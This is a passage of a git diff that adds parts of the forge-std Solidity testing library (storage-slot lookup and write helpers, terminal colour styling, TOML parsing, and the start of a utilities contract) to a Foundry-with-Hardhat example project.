+    function getCallParams(StdStorage storage self) internal view returns (bytes memory) {
+        if (self._calldata.length == 0) {
+            return flatten(self._keys);
+        } else {
+            return self._calldata;
+        }
+    }
+
+    // Calls target contract with configured parameters
+    function callTarget(StdStorage storage self) internal view returns (bool, bytes32) {
+        bytes memory cald = abi.encodePacked(self._sig, getCallParams(self));
+        (bool success, bytes memory rdat) = self._target.staticcall(cald);
+        bytes32 result = bytesToBytes32(rdat, 32 * self._depth);
+
+        return (success, result);
+    }
+
+    // Tries mutating slot value to determine if the targeted value is stored in it.
+    // If current value is 0, then we are setting slot value to type(uint256).max
+    // Otherwise, we set it to 0. That way, return value should always be affected.
+    function checkSlotMutatesCall(StdStorage storage self, bytes32 slot) internal returns (bool) {
+        bytes32 prevSlotValue = vm.load(self._target, slot);
+        (bool success, bytes32 prevReturnValue) = callTarget(self);
+
+        bytes32 testVal = prevReturnValue == bytes32(0) ? bytes32(UINT256_MAX) : bytes32(0);
+        vm.store(self._target, slot, testVal);
+
+        (, bytes32 newReturnValue) = callTarget(self);
+
+        vm.store(self._target, slot, prevSlotValue);
+
+        return (success && (prevReturnValue != newReturnValue));
+    }
+
+    // Tries setting one of the bits in slot to 1 until return value changes.
+    // Index of resulted bit is an offset packed slot has from left/right side
+    function findOffset(StdStorage storage self, bytes32 slot, bool left) internal returns (bool, uint256) {
+        for (uint256 offset = 0; offset < 256; offset++) {
+            uint256 valueToPut = left ? (1 << (255 - offset)) : (1 << offset);
+            vm.store(self._target, slot, bytes32(valueToPut));
+
+            (bool success, bytes32 data) = callTarget(self);
+
+            if (success && (uint256(data) > 0)) {
+                return (true, offset);
+            }
+        }
+        return (false, 0);
+    }
+
+    function findOffsets(StdStorage storage self, bytes32 slot) internal returns (bool, uint256, uint256) {
+        bytes32 prevSlotValue = vm.load(self._target, slot);
+
+        (bool foundLeft, uint256 offsetLeft) = findOffset(self, slot, true);
+        (bool foundRight, uint256 offsetRight) = findOffset(self, slot, false);
+
+        // `findOffset` may mutate slot value, so we are setting it to initial value
+        vm.store(self._target, slot, prevSlotValue);
+        return (foundLeft && foundRight, offsetLeft, offsetRight);
+    }
+
+    function find(StdStorage storage self) internal returns (FindData storage) {
+        return find(self, true);
+    }
+
+    /// @notice find an arbitrary storage slot given a function sig, input data, address of the contract and a value to check against
+    // slot complexity:
+    //  if flat, will be bytes32(uint256(uint));
+    //  if map, will be keccak256(abi.encode(key, uint(slot)));
+    //  if deep map, will be keccak256(abi.encode(key1, keccak256(abi.encode(key0, uint(slot)))));
+    //  if map struct, will be bytes32(uint256(keccak256(abi.encode(key1, keccak256(abi.encode(key0, uint(slot)))))) + structFieldDepth);
+    function find(StdStorage storage self, bool _clear) internal returns (FindData storage) {
+        address who = self._target;
+        bytes4 fsig = self._sig;
+        uint256 field_depth = self._depth;
+        bytes memory params = getCallParams(self);
+
+        // calldata to test against
+        if (self.finds[who][fsig][keccak256(abi.encodePacked(params, field_depth))].found) {
+            if (_clear) {
+                clear(self);
+            }
+            return self.finds[who][fsig][keccak256(abi.encodePacked(params, field_depth))];
+        }
+        vm.record();
+        (, bytes32 callResult) = callTarget(self);
+        (bytes32[] memory reads, ) = vm.accesses(address(who));
+
+        if (reads.length == 0) {
+            revert('stdStorage find(StdStorage): No storage use detected for target.');
+        } else {
+            for (uint256 i = 0; i < reads.length; i++) {
+                bytes32 prev = vm.load(who, reads[i]);
+                if (prev == bytes32(0)) {
+                    emit WARNING_UninitedSlot(who, uint256(reads[i]));
+                }
+
+                if (!checkSlotMutatesCall(self, reads[i])) {
+                    continue;
+                }
+
+                (uint256 offsetLeft, uint256 offsetRight) = (0, 0);
+
+                if (self._enable_packed_slots) {
+                    bool found;
+                    (found, offsetLeft, offsetRight) = findOffsets(self, reads[i]);
+                    if (!found) {
+                        continue;
+                    }
+                }
+
+                // Check that value between found offsets is equal to the current call result
+                uint256 curVal = (uint256(prev) & getMaskByOffsets(offsetLeft, offsetRight)) >> offsetRight;
+
+                if (uint256(callResult) != curVal) {
+                    continue;
+                }
+
+                emit SlotFound(who, fsig, keccak256(abi.encodePacked(params, field_depth)), uint256(reads[i]));
+                self.finds[who][fsig][keccak256(abi.encodePacked(params, field_depth))] = FindData(uint256(reads[i]), offsetLeft, offsetRight, true);
+                break;
+            }
+        }
+
+        require(self.finds[who][fsig][keccak256(abi.encodePacked(params, field_depth))].found, 'stdStorage find(StdStorage): Slot(s) not found.');
+
+        if (_clear) {
+            clear(self);
+        }
+        return self.finds[who][fsig][keccak256(abi.encodePacked(params, field_depth))];
+    }
+
+    function target(StdStorage storage self, address _target) internal returns (StdStorage storage) {
+        self._target = _target;
+        return self;
+    }
+
+    function sig(StdStorage storage self, bytes4 _sig) internal returns (StdStorage storage) {
+        self._sig = _sig;
+        return self;
+    }
+
+    function sig(StdStorage storage self, string memory _sig) internal returns (StdStorage storage) {
+        self._sig = sigs(_sig);
+        return self;
+    }
+
+    function with_calldata(StdStorage storage self, bytes memory _calldata) internal returns (StdStorage storage) {
+        self._calldata = _calldata;
+        return self;
+    }
+
+    function with_key(StdStorage storage self, address who) internal returns (StdStorage storage) {
+        self._keys.push(bytes32(uint256(uint160(who))));
+        return self;
+    }
+
+    function with_key(StdStorage storage self, uint256 amt) internal returns (StdStorage storage) {
+        self._keys.push(bytes32(amt));
+        return self;
+    }
+
+    function with_key(StdStorage storage self, bytes32 key) internal returns (StdStorage storage) {
+        self._keys.push(key);
+        return self;
+    }
+
+    function enable_packed_slots(StdStorage storage self) internal returns (StdStorage storage) {
+        self._enable_packed_slots = true;
+        return self;
+    }
+
+    function depth(StdStorage storage self, uint256 _depth) internal returns (StdStorage storage) {
+        self._depth = _depth;
+        return self;
+    }
+
+    function read(StdStorage storage self) private returns (bytes memory) {
+        FindData storage data = find(self, false);
+        uint256 mask = getMaskByOffsets(data.offsetLeft, data.offsetRight);
+        uint256 value = (uint256(vm.load(self._target, bytes32(data.slot))) & mask) >> data.offsetRight;
+        clear(self);
+        return abi.encode(value);
+    }
+
+    function read_bytes32(StdStorage storage self) internal returns (bytes32) {
+        return abi.decode(read(self), (bytes32));
+    }
+
+    function read_bool(StdStorage storage self) internal returns (bool) {
+        int256 v = read_int(self);
+        if (v == 0) return false;
+        if (v == 1) return true;
+        revert('stdStorage read_bool(StdStorage): Cannot decode. Make sure you are reading a bool.');
+    }
+
+    function read_address(StdStorage storage self) internal returns (address) {
+        return abi.decode(read(self), (address));
+    }
+
+    function read_uint(StdStorage storage self) internal returns (uint256) {
+        return abi.decode(read(self), (uint256));
+    }
+
+    function read_int(StdStorage storage self) internal returns (int256) {
+        return abi.decode(read(self), (int256));
+    }
+
+    function parent(StdStorage storage self) internal returns (uint256, bytes32) {
+        address who = self._target;
+        uint256 field_depth = self._depth;
+        vm.startMappingRecording();
+        uint256 child = find(self, true).slot - field_depth;
+        (bool found, bytes32 key, bytes32 parent_slot) = vm.getMappingKeyAndParentOf(who, bytes32(child));
+        if (!found) {
+            revert('stdStorage read_bool(StdStorage): Cannot find parent. Make sure you give a slot and startMappingRecording() has been called.');
+        }
+        return (uint256(parent_slot), key);
+    }
+
+    function root(StdStorage storage self) internal returns (uint256) {
+        address who = self._target;
+        uint256 field_depth = self._depth;
+        vm.startMappingRecording();
+        uint256 child = find(self, true).slot - field_depth;
+        bool found;
+        bytes32 root_slot;
+        bytes32 parent_slot;
+        (found, , parent_slot) = vm.getMappingKeyAndParentOf(who, bytes32(child));
+        if (!found) {
+            revert('stdStorage read_bool(StdStorage): Cannot find parent. Make sure you give a slot and startMappingRecording() has been called.');
+        }
+        while (found) {
+            root_slot = parent_slot;
+            (found, , parent_slot) = vm.getMappingKeyAndParentOf(who, bytes32(root_slot));
+        }
+        return uint256(root_slot);
+    }
+
+    function bytesToBytes32(bytes memory b, uint256 offset) private pure returns (bytes32) {
+        bytes32 out;
+
+        uint256 max = b.length > 32 ? 32 : b.length;
+        for (uint256 i = 0; i < max; i++) {
+            out |= bytes32(b[offset + i] & 0xFF) >> (i * 8);
+        }
+        return out;
+    }
+
+    function flatten(bytes32[] memory b) private pure returns (bytes memory) {
+        bytes memory result = new bytes(b.length * 32);
+        for (uint256 i = 0; i < b.length; i++) {
+            bytes32 k = b[i];
+            /// @solidity memory-safe-assembly
+            assembly {
+                mstore(add(result, add(32, mul(32, i))), k)
+            }
+        }
+
+        return result;
+    }
+
+    function clear(StdStorage storage self) internal {
+        delete self._target;
+        delete self._sig;
+        delete self._keys;
+        delete self._depth;
+        delete self._enable_packed_slots;
+        delete self._calldata;
+    }
+
+    // Returns mask which contains non-zero bits for values between `offsetLeft` and `offsetRight`
+    // (slotValue & mask) >> offsetRight will be the value of the given packed variable
+    function getMaskByOffsets(uint256 offsetLeft, uint256 offsetRight) internal pure returns (uint256 mask) {
+        // mask = ((1 << (256 - (offsetRight + offsetLeft))) - 1) << offsetRight;
+        // using assembly because (1 << 256) causes overflow
+        assembly {
+            mask := shl(offsetRight, sub(shl(sub(256, add(offsetRight, offsetLeft)), 1), 1))
+        }
+    }
+
+    // Returns slot value with updated packed variable.
+    function getUpdatedSlotValue(
+        bytes32 curValue,
+        uint256 varValue,
+        uint256 offsetLeft,
+        uint256 offsetRight
+    ) internal pure returns (bytes32 newValue) {
+        return bytes32((uint256(curValue) & ~getMaskByOffsets(offsetLeft, offsetRight)) | (varValue << offsetRight));
+    }
+}
+
+library stdStorage {
+    Vm private constant vm = Vm(address(uint160(uint256(keccak256('hevm cheat code')))));
+
+    function sigs(string memory sigStr) internal pure returns (bytes4) {
+        return stdStorageSafe.sigs(sigStr);
+    }
+
+    function find(StdStorage storage self) internal returns (uint256) {
+        return find(self, true);
+    }
+
+    function find(StdStorage storage self, bool _clear) internal returns (uint256) {
+        return stdStorageSafe.find(self, _clear).slot;
+    }
+
+    function target(StdStorage storage self, address _target) internal returns (StdStorage storage) {
+        return stdStorageSafe.target(self, _target);
+    }
+
+    function sig(StdStorage storage self, bytes4 _sig) internal returns (StdStorage storage) {
+        return stdStorageSafe.sig(self, _sig);
+    }
+
+    function sig(StdStorage storage self, string memory _sig) internal returns (StdStorage storage) {
+        return stdStorageSafe.sig(self, _sig);
+    }
+
+    function with_key(StdStorage storage self, address who) internal returns (StdStorage storage) {
+        return stdStorageSafe.with_key(self, who);
+    }
+
+    function with_key(StdStorage storage self, uint256 amt) internal returns (StdStorage storage) {
+        return stdStorageSafe.with_key(self, amt);
+    }
+
+    function with_key(StdStorage storage self, bytes32 key) internal returns (StdStorage storage) {
+        return stdStorageSafe.with_key(self, key);
+    }
+
+    function with_calldata(StdStorage storage self, bytes memory _calldata) internal returns (StdStorage storage) {
+        return stdStorageSafe.with_calldata(self, _calldata);
+    }
+
+    function enable_packed_slots(StdStorage storage self) internal returns (StdStorage storage) {
+        return stdStorageSafe.enable_packed_slots(self);
+    }
+
+    function depth(StdStorage storage self, uint256 _depth) internal returns (StdStorage storage) {
+        return stdStorageSafe.depth(self, _depth);
+    }
+
+    function clear(StdStorage storage self) internal {
+        stdStorageSafe.clear(self);
+    }
+
+    function checked_write(StdStorage storage self, address who) internal {
+        checked_write(self, bytes32(uint256(uint160(who))));
+    }
+
+    function checked_write(StdStorage storage self, uint256 amt) internal {
+        checked_write(self, bytes32(amt));
+    }
+
+    function checked_write_int(StdStorage storage self, int256 val) internal {
+        checked_write(self, bytes32(uint256(val)));
+    }
+
+    function checked_write(StdStorage storage self, bool write) internal {
+        bytes32 t;
+        /// @solidity memory-safe-assembly
+        assembly {
+            t := write
+        }
+        checked_write(self, t);
+    }
+
+    function checked_write(StdStorage storage self, bytes32 set) internal {
+        address who = self._target;
+        bytes4 fsig = self._sig;
+        uint256 field_depth = self._depth;
+        bytes memory params = stdStorageSafe.getCallParams(self);
+
+        if (!self.finds[who][fsig][keccak256(abi.encodePacked(params, field_depth))].found) {
+            find(self, false);
+        }
+        FindData storage data = self.finds[who][fsig][keccak256(abi.encodePacked(params, field_depth))];
+        if ((data.offsetLeft + data.offsetRight) > 0) {
+            uint256 maxVal = 2 ** (256 - (data.offsetLeft + data.offsetRight));
+            require(
+                uint256(set) < maxVal,
+                string(abi.encodePacked("stdStorage find(StdStorage): Packed slot. We can't fit value greater than ", vm.toString(maxVal)))
+            );
+        }
+        bytes32 curVal = vm.load(who, bytes32(data.slot));
+        bytes32 valToSet = stdStorageSafe.getUpdatedSlotValue(curVal, uint256(set), data.offsetLeft, data.offsetRight);
+
+        vm.store(who, bytes32(data.slot), valToSet);
+
+        (bool success, bytes32 callResult) = stdStorageSafe.callTarget(self);
+
+        if (!success || callResult != set) {
+            vm.store(who, bytes32(data.slot), curVal);
+            revert('stdStorage find(StdStorage): Failed to write value.');
+        }
+        clear(self);
+    }
+
+    function read_bytes32(StdStorage storage self) internal returns (bytes32) {
+        return stdStorageSafe.read_bytes32(self);
+    }
+
+    function read_bool(StdStorage storage self) internal returns (bool) {
+        return stdStorageSafe.read_bool(self);
+    }
+
+    function read_address(StdStorage storage self) internal returns (address) {
+        return stdStorageSafe.read_address(self);
+    }
+
+    function read_uint(StdStorage storage self) internal returns (uint256) {
+        return stdStorageSafe.read_uint(self);
+    }
+
+    function read_int(StdStorage storage self) internal returns (int256) {
+        return stdStorageSafe.read_int(self);
+    }
+
+    function parent(StdStorage storage self) internal returns (uint256, bytes32) {
+        return stdStorageSafe.parent(self);
+    }
+
+    function root(StdStorage storage self) internal returns (uint256) {
+        return stdStorageSafe.root(self);
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/StdStyle.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdStyle.sol
new file mode 100644
index 000000000..0f77c852c
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdStyle.sol
@@ -0,0 +1,333 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.4.22 <0.9.0;
+
+import {VmSafe} from './Vm.sol';
+
+library StdStyle {
+    VmSafe private constant vm = VmSafe(address(uint160(uint256(keccak256('hevm cheat code')))));
+
+    string constant RED = '\u001b[91m';
+    string constant GREEN = '\u001b[92m';
+    string constant YELLOW = '\u001b[93m';
+    string constant BLUE = '\u001b[94m';
+    string constant MAGENTA = '\u001b[95m';
+    string constant CYAN = '\u001b[96m';
+    string constant BOLD = '\u001b[1m';
+    string constant DIM = '\u001b[2m';
+    string constant ITALIC = '\u001b[3m';
+    string constant UNDERLINE = '\u001b[4m';
+    string constant INVERSE = '\u001b[7m';
+    string constant RESET = '\u001b[0m';
+
+    function styleConcat(string memory style, string memory self) private pure returns (string memory) {
+        return string(abi.encodePacked(style, self, RESET));
+    }
+
+    function red(string memory self) internal pure returns (string memory) {
+        return styleConcat(RED, self);
+    }
+
+    function red(uint256 self) internal pure returns (string memory) {
+        return red(vm.toString(self));
+    }
+
+    function red(int256 self) internal pure returns (string memory) {
+        return red(vm.toString(self));
+    }
+
+    function red(address self) internal pure returns (string memory) {
+        return red(vm.toString(self));
+    }
+
+    function red(bool self) internal pure returns (string memory) {
+        return red(vm.toString(self));
+    }
+
+    function redBytes(bytes memory self) internal pure returns (string memory) {
+        return red(vm.toString(self));
+    }
+
+    function redBytes32(bytes32 self) internal pure returns (string memory) {
+        return red(vm.toString(self));
+    }
+
+    function green(string memory self) internal pure returns (string memory) {
+        return styleConcat(GREEN, self);
+    }
+
+    function green(uint256 self) internal pure returns (string memory) {
+        return green(vm.toString(self));
+    }
+
+    function green(int256 self) internal pure returns (string memory) {
+        return green(vm.toString(self));
+    }
+
+    function green(address self) internal pure returns (string memory) {
+        return green(vm.toString(self));
+    }
+
+    function green(bool self) internal pure returns (string memory) {
+        return green(vm.toString(self));
+    }
+
+    function greenBytes(bytes memory self) internal pure returns (string memory) {
+        return green(vm.toString(self));
+    }
+
+    function greenBytes32(bytes32 self) internal pure returns (string memory) {
+        return green(vm.toString(self));
+    }
+
+    function yellow(string memory self) internal pure returns (string memory) {
+        return styleConcat(YELLOW, self);
+    }
+
+    function yellow(uint256 self) internal pure returns (string memory) {
+        return yellow(vm.toString(self));
+    }
+
+    function yellow(int256 self) internal pure returns (string memory) {
+        return yellow(vm.toString(self));
+    }
+
+    function yellow(address self) internal pure returns (string memory) {
+        return yellow(vm.toString(self));
+    }
+
+    function yellow(bool self) internal pure returns (string memory) {
+        return yellow(vm.toString(self));
+    }
+
+    function yellowBytes(bytes memory self) internal pure returns (string memory) {
+        return yellow(vm.toString(self));
+    }
+
+    function yellowBytes32(bytes32 self) internal pure returns (string memory) {
+        return yellow(vm.toString(self));
+    }
+
+    function blue(string memory self) internal pure returns (string memory) {
+        return styleConcat(BLUE, self);
+    }
+
+    function blue(uint256 self) internal pure returns (string memory) {
+        return blue(vm.toString(self));
+    }
+
+    function blue(int256 self) internal pure returns (string memory) {
+        return blue(vm.toString(self));
+    }
+
+    function blue(address self) internal pure returns (string memory) {
+        return blue(vm.toString(self));
+    }
+
+    function blue(bool self) internal pure returns (string memory) {
+        return blue(vm.toString(self));
+    }
+
+    function blueBytes(bytes memory self) internal pure returns (string memory) {
+        return blue(vm.toString(self));
+    }
+
+    function blueBytes32(bytes32 self) internal pure returns (string memory) {
+        return blue(vm.toString(self));
+    }
+
+    function magenta(string memory self) internal pure returns (string memory) {
+        return styleConcat(MAGENTA, self);
+    }
+
+    function magenta(uint256 self) internal pure returns (string memory) {
+        return magenta(vm.toString(self));
+    }
+
+    function magenta(int256 self) internal pure returns (string memory) {
+        return magenta(vm.toString(self));
+    }
+
+    function magenta(address self) internal pure returns (string memory) {
+        return magenta(vm.toString(self));
+    }
+
+    function magenta(bool self) internal pure returns (string memory) {
+        return magenta(vm.toString(self));
+    }
+
+    function magentaBytes(bytes memory self) internal pure returns (string memory) {
+        return magenta(vm.toString(self));
+    }
+
+    function magentaBytes32(bytes32 self) internal pure returns (string memory) {
+        return magenta(vm.toString(self));
+    }
+
+    function cyan(string memory self) internal pure returns (string memory) {
+        return styleConcat(CYAN, self);
+    }
+
+    function cyan(uint256 self) internal pure returns (string memory) {
+        return cyan(vm.toString(self));
+    }
+
+    function cyan(int256 self) internal pure returns (string memory) {
+        return cyan(vm.toString(self));
+    }
+
+    function cyan(address self) internal pure returns (string memory) {
+        return cyan(vm.toString(self));
+    }
+
+    function cyan(bool self) internal pure returns (string memory) {
+        return cyan(vm.toString(self));
+    }
+
+    function cyanBytes(bytes memory self) internal pure returns (string memory) {
+        return cyan(vm.toString(self));
+    }
+
+    function cyanBytes32(bytes32 self) internal pure returns (string memory) {
+        return cyan(vm.toString(self));
+    }
+
+    function bold(string memory self) internal pure returns (string memory) {
+        return styleConcat(BOLD, self);
+    }
+
+    function bold(uint256 self) internal pure returns (string memory) {
+        return bold(vm.toString(self));
+    }
+
+    function bold(int256 self) internal pure returns (string memory) {
+        return bold(vm.toString(self));
+    }
+
+    function bold(address self) internal pure returns (string memory) {
+        return bold(vm.toString(self));
+    }
+
+    function bold(bool self) internal pure returns (string memory) {
+        return bold(vm.toString(self));
+    }
+
+    function boldBytes(bytes memory self) internal pure returns (string memory) {
+        return bold(vm.toString(self));
+    }
+
+    function boldBytes32(bytes32 self) internal pure returns (string memory) {
+        return bold(vm.toString(self));
+    }
+
+    function dim(string memory self) internal pure returns (string memory) {
+        return styleConcat(DIM, self);
+    }
+
+    function dim(uint256 self) internal pure returns (string memory) {
+        return dim(vm.toString(self));
+    }
+
+    function dim(int256 self) internal pure returns (string memory) {
+        return dim(vm.toString(self));
+    }
+
+    function dim(address self) internal pure returns (string memory) {
+        return dim(vm.toString(self));
+    }
+
+    function dim(bool self) internal pure returns (string memory) {
+        return dim(vm.toString(self));
+    }
+
+    function dimBytes(bytes memory self) internal pure returns (string memory) {
+        return dim(vm.toString(self));
+    }
+
+    function dimBytes32(bytes32 self) internal pure returns (string memory) {
+        return dim(vm.toString(self));
+    }
+
+    function italic(string memory self) internal pure returns (string memory) {
+        return styleConcat(ITALIC, self);
+    }
+
+    function italic(uint256 self) internal pure returns (string memory) {
+        return italic(vm.toString(self));
+    }
+
+    function italic(int256 self) internal pure returns (string memory) {
+        return italic(vm.toString(self));
+    }
+
+    function italic(address self) internal pure returns (string memory) {
+        return italic(vm.toString(self));
+    }
+
+    function italic(bool self) internal pure returns (string memory) {
+        return italic(vm.toString(self));
+    }
+
+    function italicBytes(bytes memory self) internal pure returns (string memory) {
+        return italic(vm.toString(self));
+    }
+
+    function italicBytes32(bytes32 self) internal pure returns (string memory) {
+        return italic(vm.toString(self));
+    }
+
+    function underline(string memory self) internal pure returns (string memory) {
+        return styleConcat(UNDERLINE, self);
+    }
+
+    function underline(uint256 self) internal pure returns (string memory) {
+        return underline(vm.toString(self));
+    }
+
+    function underline(int256 self) internal pure returns (string memory) {
+        return underline(vm.toString(self));
+    }
+
+    function underline(address self) internal pure returns (string memory) {
+        return underline(vm.toString(self));
+    }
+
+    function underline(bool self) internal pure returns (string memory) {
+        return underline(vm.toString(self));
+    }
+
+    function underlineBytes(bytes memory self) internal pure returns (string memory) {
+        return underline(vm.toString(self));
+    }
+
+    function underlineBytes32(bytes32 self) internal pure returns (string memory) {
+        return underline(vm.toString(self));
+    }
+
+    function inverse(string memory self) internal pure returns (string memory) {
+        return styleConcat(INVERSE, self);
+    }
+
+    function inverse(uint256 self) internal pure returns (string memory) {
+        return inverse(vm.toString(self));
+    }
+
+    function inverse(int256 self) internal pure returns (string memory) {
+        return inverse(vm.toString(self));
+    }
+
+    function inverse(address self) internal pure returns (string memory) {
+        return inverse(vm.toString(self));
+    }
+
+    function inverse(bool self) internal pure returns (string memory) {
+        return inverse(vm.toString(self));
+    }
+
+    function inverseBytes(bytes memory self) internal pure returns (string memory) {
+        return inverse(vm.toString(self));
+    }
+
+    function inverseBytes32(bytes32 self) internal pure returns (string memory) {
+        return inverse(vm.toString(self));
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/StdToml.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdToml.sol
new file mode 100644
index 000000000..73055287e
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdToml.sol
@@ -0,0 +1,155 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.0 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+import {VmSafe} from './Vm.sol';
+
+// Helpers for parsing and writing TOML files
+// To parse:
+// ```
+// using stdToml for string;
+// string memory toml = vm.readFile("<some_path>");
+// toml.readUint("<json_path>");
+// ```
+// To write:
+// ```
+// using stdToml for string;
+// string memory json = "json";
+// json.serialize("a", uint256(123));
+// string memory semiFinal = json.serialize("b", string("test"));
+// string memory finalJson = json.serialize("c", semiFinal);
+// finalJson.write("<some_path>");
+// ```
+
+library stdToml {
+    VmSafe private constant vm = VmSafe(address(uint160(uint256(keccak256('hevm cheat code')))));
+
+    function parseRaw(string memory toml, string memory key) internal pure returns (bytes memory) {
+        return vm.parseToml(toml, key);
+    }
+
+    function readUint(string memory toml, string memory key) internal pure returns (uint256) {
+        return vm.parseTomlUint(toml, key);
+    }
+
+    function readUintArray(string memory toml, string memory key) internal pure returns (uint256[] memory) {
+        return vm.parseTomlUintArray(toml, key);
+    }
+
+    function readInt(string memory toml, string memory key) internal pure returns (int256) {
+        return vm.parseTomlInt(toml, key);
+    }
+
+    function readIntArray(string memory toml, string memory key) internal pure returns (int256[] memory) {
+        return vm.parseTomlIntArray(toml, key);
+    }
+
+    function readBytes32(string memory toml, string memory key) internal pure returns (bytes32) {
+        return vm.parseTomlBytes32(toml, key);
+    }
+
+    function readBytes32Array(string memory toml, string memory key) internal pure returns (bytes32[] memory) {
+        return vm.parseTomlBytes32Array(toml, key);
+    }
+
+    function readString(string memory toml, string memory key) internal pure returns (string memory) {
+        return vm.parseTomlString(toml, key);
+    }
+
+    function readStringArray(string memory toml, string memory key) internal pure returns (string[] memory) {
+        return vm.parseTomlStringArray(toml, key);
+    }
+
+    function readAddress(string memory toml, string memory key) internal pure returns (address) {
+        return vm.parseTomlAddress(toml, key);
+    }
+
+    function readAddressArray(string memory toml, string memory key) internal pure returns (address[] memory) {
+        return vm.parseTomlAddressArray(toml, key);
+    }
+
+    function readBool(string memory toml, string memory key) internal pure returns (bool) {
+        return vm.parseTomlBool(toml, key);
+    }
+
+    function readBoolArray(string memory toml, string memory key) internal pure returns (bool[] memory) {
+        return vm.parseTomlBoolArray(toml, key);
+    }
+
+    function readBytes(string memory toml, string memory key) internal pure returns (bytes memory) {
+        return vm.parseTomlBytes(toml, key);
+    }
+
+    function readBytesArray(string memory toml, string memory key) internal pure returns (bytes[] memory) {
+        return vm.parseTomlBytesArray(toml, key);
+    }
+
+    function serialize(string memory jsonKey, string memory rootObject) internal returns (string memory) {
+        return vm.serializeJson(jsonKey, rootObject);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bool value) internal returns (string memory) {
+        return vm.serializeBool(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bool[] memory value) internal returns (string memory) {
+        return vm.serializeBool(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, uint256 value) internal returns (string memory) {
+        return vm.serializeUint(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, uint256[] memory value) internal returns (string memory) {
+        return vm.serializeUint(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, int256 value) internal returns (string memory) {
+        return vm.serializeInt(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, int256[] memory value) internal returns (string memory) {
+        return vm.serializeInt(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, address value) internal returns (string memory) {
+        return vm.serializeAddress(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, address[] memory value) internal returns (string memory) {
+        return vm.serializeAddress(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bytes32 value) internal returns (string memory) {
+        return vm.serializeBytes32(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bytes32[] memory value) internal returns (string memory) {
+        return vm.serializeBytes32(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bytes memory value) internal returns (string memory) {
+        return vm.serializeBytes(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bytes[] memory value) internal returns (string memory) {
+        return vm.serializeBytes(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, string memory value) internal returns (string memory) {
+        return vm.serializeString(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, string[] memory value) internal returns (string memory) {
+        return vm.serializeString(jsonKey, key, value);
+    }
+
+    function write(string memory jsonKey, string memory path) internal {
+        vm.writeToml(jsonKey, path);
+    }
+
+    function write(string memory jsonKey, string memory path, string memory valueKey) internal {
+        vm.writeToml(jsonKey, path, valueKey);
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/StdUtils.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdUtils.sol
new file mode 100644
index 000000000..b6c9db022
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdUtils.sol
@@ -0,0 +1,207 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+import {IMulticall3} from './interfaces/IMulticall3.sol';
+import {MockERC20} from './mocks/MockERC20.sol';
+import {MockERC721} from './mocks/MockERC721.sol';
+import {VmSafe} from './Vm.sol';
+
+abstract contract StdUtils {
+    /*//////////////////////////////////////////////////////////////////////////
+                                     CONSTANTS
+    //////////////////////////////////////////////////////////////////////////*/
+
+    IMulticall3 private constant multicall = IMulticall3(0xcA11bde05977b3631167028862bE2a173976CA11);
+    VmSafe private constant vm = VmSafe(address(uint160(uint256(keccak256('hevm cheat code')))));
+    address private constant CONSOLE2_ADDRESS = 0x000000000000000000636F6e736F6c652e6c6f67;
+    uint256 private constant INT256_MIN_ABS = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
+    uint256 private constant SECP256K1_ORDER = 115792089237316195423570985008687907852837564279074904382605163141518161494337;
+    uint256 private constant UINT256_MAX = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
+
+    // Used by default when deploying with create2, https://github.com/Arachnid/deterministic-deployment-proxy.
+    address private constant CREATE2_FACTORY = 0x4e59b44847b379578588920cA78FbF26c0B4956C;
+
+    /*//////////////////////////////////////////////////////////////////////////
+                                 INTERNAL FUNCTIONS
+    //////////////////////////////////////////////////////////////////////////*/
+
+    function _bound(uint256 x, uint256 min, uint256 max) internal pure virtual returns (uint256 result) {
+        require(min <= max, 'StdUtils bound(uint256,uint256,uint256): Max is less than min.');
+        // If x is between min and max, return x directly. This is to ensure that dictionary values
+        // do not get shifted if the min is nonzero. More info: https://github.com/foundry-rs/forge-std/issues/188
+        if (x >= min && x <= max) return x;
+
+        uint256 size = max - min + 1;
+
+        // If the value is 0, 1, 2, 3, wrap that to min, min+1, min+2, min+3. Similarly for the UINT256_MAX side.
+        // This helps ensure coverage of the min/max values.
+        if (x <= 3 && size > x) return min + x;
+        if (x >= UINT256_MAX - 3 && size > UINT256_MAX - x) return max - (UINT256_MAX - x);
+
+        // Otherwise, wrap x into the range [min, max], i.e. the range is inclusive.
+        if (x > max) {
+            uint256 diff = x - max;
+            uint256 rem = diff % size;
+            if (rem == 0) return max;
+            result = min + rem - 1;
+        } else if (x < min) {
+            uint256 diff = min - x;
+            uint256 rem = diff % size;
+            if (rem == 0) return min;
+            result = max - rem + 1;
+        }
+    }
+
+    function bound(uint256 x, uint256 min, uint256 max) internal pure virtual returns (uint256 result) {
+        result = _bound(x, min, max);
+        console2_log_StdUtils('Bound Result', result);
+    }
+
